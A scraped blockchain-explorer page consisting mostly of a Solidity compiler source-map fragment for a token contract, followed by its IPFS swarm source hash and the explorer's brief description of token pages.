:16;;;;;;;;:::i;:::-;;::::0;;;::::1;::::0;;;::::1;::::0;-1:-1:-1;;;;;3915:16:0::1;:28:::0;3911:108:::1;;3972:4;3964:12;;3995:8;;3911:108;4076:13;4090:1;4076:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;-1:-1:-1::0;;;;;4076:16:0::1;4047;4064:8;4047:26;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;4047:45:0;;::::1;:26;::::0;;::::1;::::0;;;;;;;:45;4107:10;::::1;::::0;::::1;:::i;:::-;;;;3831:298;3877:3:::0;::::1;::::0;::::1;:::i;:::-;;;;3831:298;;;;4157:5;4149:47;;;::::0;-1:-1:-1;;;4149:47:0;;6302:2:1;4149:47:0::1;::::0;::::1;6284:21:1::0;6341:2;6321:18;;;6314:30;6380:31;6360:18;;;6353:59;6429:18;;4149:47:0::1;6100:353:1::0;4149:47:0::1;4217:32:::0;;::::1;::::0;:13:::1;::::0;:32:::1;::::0;::::1;::::0;::::1;:::i;:::-;;3654:603;;;3578:679:::0;:::o;2556:316::-;1179:9;;2639:4;;-1:-1:-1;;;;;1179:9:0;1165:10;:23;1157:74;;;;-1:-1:-1;;;1157:74:0;;6660:2:1;1157:74:0;;;6642:21:1;6699:2;6679:18;;;6672:30;6738:34;6718:18;;;6711:62;-1:-1:-1;;;6789:18:1;;;6782:36;6835:19;;1157:74:0;6458:402:1;1157:74:0;2695:8:::1;::::0;2681:23:::1;::::0;2695:8:::1;;2681:2;:23;:::i;:::-;2671:33;::::0;:7;:33:::1;:::i;:::-;2656:11;;:48;;;;;;;:::i;:::-;::::0;;;-1:-1:-1;;2757:8:0::1;::::0;2743:23:::1;::::0;2757:8:::1;;2743:2;:23;:::i;:::-;2733:33;::::0;:7;:33:::1;:::i;:::-;-1:-1:-1::0;;;;;2715:14:0;::::1;;::::0;;;:9:::1;:14;::::0;;;;:51;;:14;;;:51:::1;::::0;;;::::1;:::i;:::-;::::0;;;-1:-1:-1;;2832:8:0::1;::::0;-1:-1:-1;;;;;2782:60:0;::::1;::::0;2799:1:::1;::::0;2782:60:::1;::::0;2818:23:::1;::::0;2832:8:::1;;2818:2;:23;:::i;:::-;2808:33;::::0;:7;:33:::1;:::i;:::-;2782:60;::::0;1342:25:1;;;1330:2;1315:18;2782:60:0::1;1196:177:1::0;474:30:0;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;474:30:0;;-1:-1:-1;474:30:0;:::o;3297:267::-;3360:4;;3377:157;3401:13;:20;3397:24;;3377:157;;;3467:8;-1:-1:-1;;;;;3447:28:0;:13;3461:1;3447:16;;;;;;;;:::i;:::-;;;;;;;;;;;-1:-1:-1;;;;;3447:16:0;:28;3443:80;;-1:-1:-1;3503:4:0;;3297:267;-1:-1:-1;;3297:267:0:o;3443:80::-;3423:3;;;;:::i;:::-;;;;3377:157;;;-1:-1:-1;3551:5:0;;3297:267;-1:-1:-1;;3297:267:0:o;-1:-1:-1:-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;:::o;:::-;;;;;;;;;;;;;;;14:548:1;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1378:328::-;1455:6;1463;1471;1524:2;1512:9;1503:7;1499:23;1495:32;1492:52;;;1540:1;1537;1530:12;1492:52;1563:29;1582:9;1563:29;:::i;:::-;1553:39;;1611:38;1645:2;1634:9;1630:18;1611:38;:::i;:::-;1601:48;;1696:2;1685:9;1681:18;1668:32;1658:42;;1378:328;;;;;:::o;1900:186::-;1959:6;2012:2;2000:9;1991:7;1987:23;1983:32;1980:52;;;2028:1;2025;2018:12;1980:52;2051:29;2070:9;2051:29;:::i;2299:254::-;2367:6;2375;2428:2;2416:9;2407:7;2403:23;2399:32;2396:52;;;2444:1;2441;2434:12;2396:52;2480:9;2467:23;2457:33;;2509:38;2543:2;2532:9;2528:18;2509:38;:::i;:::-;2499:48;;2299:254;;;;;:::o;2558:260::-;2626:6;2634;2687:2;2675:9;2666:7;2662:23;2658:32;2655:52;;;2703:1;2700;2693:12;2655:52;2726:29;2745:9;2726:29;:::i;:::-;2716:39;;2774:38;2808:2;2797:9;2793:18;2774:38;:::i;2823:180::-;2882:6;2935:2;2923:9;2914:7;2910:23;2906:32;2903:52;;;2951:1;2948;2941:12;2903:52;-1:-1:-1;2974:23:1;;2823:180;-1:-1:-1;2823:180:1:o;3008:380::-;3087:1;3083:12;;;;3130;;;3151:61;;3205:4;3197:6;3193:17;3183:27;;3151:61;3258:2;3250:6;3247:14;3227:18;3224:38;3221:161;;3304:10;3299:3;3295:20;3292:1;3285:31;3339:4;3336:1;3329:15;3367:4;3364:1;3357:15;3221:161;;3008:380;;;:::o;4089:127::-;4150:10;4145:3;4141:20;4138:1;4131:31;4181:4;4178:1;4171:15;4205:4;4202:1;4195:15;4221:128;4288:9;;;4309:11;;;4306:37;;;4323:18;;:::i;4354:125::-;4419:9;;;4440:10;;;4437:36;;;4453:18;;:::i;4484:397::-;4686:2;4668:21;;;4725:2;4705:18;;;4698:30;4764:34;4759:2;4744:18;;4737:62;-1:-1:-1;;;4830:2:1;4815:18;;4808:31;4871:3;4856:19;;4484:397::o;5291:400::-;5493:2;5475:21;;;5532:2;5512:18;;;5505:30;5571:34;5566:2;5551:18;;5544:62;-1:-1:-1;;;5637:2:1;5622:18;;5615:34;5681:3;5666:19;;5291:400::o;5696:127::-;5757:10;5752:3;5748:20;5745:1;5738:31;5788:4;5785:1;5778:15;5812:4;5809:1;5802:15;5828:127;5889:10;5884:3;5880:20;5877:1;5870:31;5920:4;5917:1;5910:15;5944:4;5941:1;5934:15;5960:135;5999:3;6020:17;;;6017:43;;6040:18;;:::i;:::-;-1:-1:-1;6087:1:1;6076:13;;5960:135::o;6865:422::-;6954:1;6997:5;6954:1;7011:270;7032:7;7022:8;7019:21;7011:270;;;7091:4;7087:1;7083:6;7079:17;7073:4;7070:27;7067:53;;;7100:18;;:::i;:::-;7150:7;7140:8;7136:22;7133:55;;;7170:16;;;;7133:55;7249:22;;;;7209:15;;;;7011:270;;;7015:3;6865:422;;;;;:::o;7292:806::-;7341:5;7371:8;7361:80;;-1:-1:-1;7412:1:1;7426:5;;7361:80;7460:4;7450:76;;-1:-1:-1;7497:1:1;7511:5;;7450:76;7542:4;7560:1;7555:59;;;;7628:1;7623:130;;;;7535:218;;7555:59;7585:1;7576:10;;7599:5;;;7623:130;7660:3;7650:8;7647:17;7644:43;;;7667:18;;:::i;:::-;-1:-1:-1;;7723:1:1;7709:16;;7738:5;;7535:218;;7837:2;7827:8;7824:16;7818:3;7812:4;7809:13;7805:36;7799:2;7789:8;7786:16;7781:2;7775:4;7772:12;7768:35;7765:77;7762:159;;;-1:-1:-1;7874:19:1;;;7906:5;;7762:159;7953:34;7978:8;7972:4;7953:34;:::i;:::-;8023:6;8019:1;8015:6;8011:19;8002:7;7999:32;7996:58;;;8034:18;;:::i;:::-;8072:20;;7292:806;-1:-1:-1;;;7292:806:1:o;8103:131::-;8163:5;8192:36;8219:8;8213:4;8192:36;:::i;8239:168::-;8312:9;;;8343;;8360:15;;;8354:22;;8340:37;8330:71;;8381:18;;:::i
Swarm Source
ipfs://ddea7162175a18d2a8cabd7fcc3231f60c0369ad179af007eb2cde86105f475d
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.